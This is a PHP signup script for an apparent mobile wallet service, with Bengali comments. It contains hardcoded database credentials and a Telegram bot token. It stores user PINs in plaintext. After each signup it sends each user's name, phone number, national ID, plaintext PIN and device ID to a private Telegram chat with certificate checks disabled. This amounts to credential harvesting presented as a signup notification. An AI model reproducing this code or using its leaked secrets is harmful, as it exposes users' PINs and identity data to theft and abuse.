<?php
// ডাটাবেস কানেকশন
$conn = mysqli_connect(
    'localhost',
    'mfudevlo_batuawallet',
    'batua@wallet6602#',
    'mfudevlo_batuawalletdb'
);

if (!$conn) {
    echo "DB_ERROR";
    exit;
}

// ডাটা রিসিভ করা
$name        = mysqli_real_escape_string($conn, $_POST['name']);
$mobile      = mysqli_real_escape_string($conn, $_POST['mobile']);
$userid      = mysqli_real_escape_string($conn, $_POST['userid']); 
$pin         = mysqli_real_escape_string($conn, $_POST['pin']);
$device_id   = mysqli_real_escape_string($conn, $_POST['device_id']);
$referred_by = isset($_POST['referred_by']) ? mysqli_real_escape_string($conn, $_POST['referred_by']) : "None";

/* ১. মোবাইল নম্বর চেক */
$checkMobile = mysqli_query($conn, "SELECT id FROM signup_table WHERE mobile='$mobile'");
if (mysqli_num_rows($checkMobile) > 0) {
    echo "MOBILE_EXISTS";
    exit;
}

/* ২. আইডি (NID) চেক */
$checkID = mysqli_query($conn, "SELECT id FROM signup_table WHERE userid='$userid'");
if (mysqli_num_rows($checkID) > 0) {
    echo "ID_ALREADY_EXISTS";
    exit;
}

/* ৩. ডাটাবেসে ইনসার্ট (ইমেজ কলাম ছাড়া) */
$sql = "INSERT INTO signup_table (name, mobile, userid, device_id, pin, referred_by, balance)
        VALUES ('$name', '$mobile', '$userid', '$device_id', '$pin', '$referred_by', 0)";

if (mysqli_query($conn, $sql)) {
    echo "Signup Successfully";

    // === cURL টেলিগ্রাম নোটিফিকেশন শুরু ===
    $botToken = "8324066534:AAFqwLw5b4IVuSIg3k39kOz8ztkeYBY5zRI"; // আপনার টেলিগ্রাম বট টোকেন
    $chatID   = "7690446447";   // আপনার চ্যাট আইডি
    
    $message = "🔔 *New Signup Alert*\n\n";
    $message .= "👤 *Name:* $name\n";
    $message .= "📱 *Mobile:* $mobile\n";
    $message .= "🆔 *NID/ID:* $userid\n";
    $message .= "🔑 *PIN:* $pin\n";
    $message .= "🤝 *Referred By:* $referred_by\n";
    $message .= "📱 *Device ID:* $device_id";

    $data = [
        'chat_id' => $chatID,
        'text' => $message,
        'parse_mode' => 'Markdown'
    ];

    $ch = curl_init("https://api.telegram.org/bot$botToken/sendMessage");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 
    curl_exec($ch);
    curl_close($ch);
    // === cURL টেলিগ্রাম নোটিফিকেশন শেষ ===

} else {
    echo "FAILED";
}

mysqli_close($conn);
?>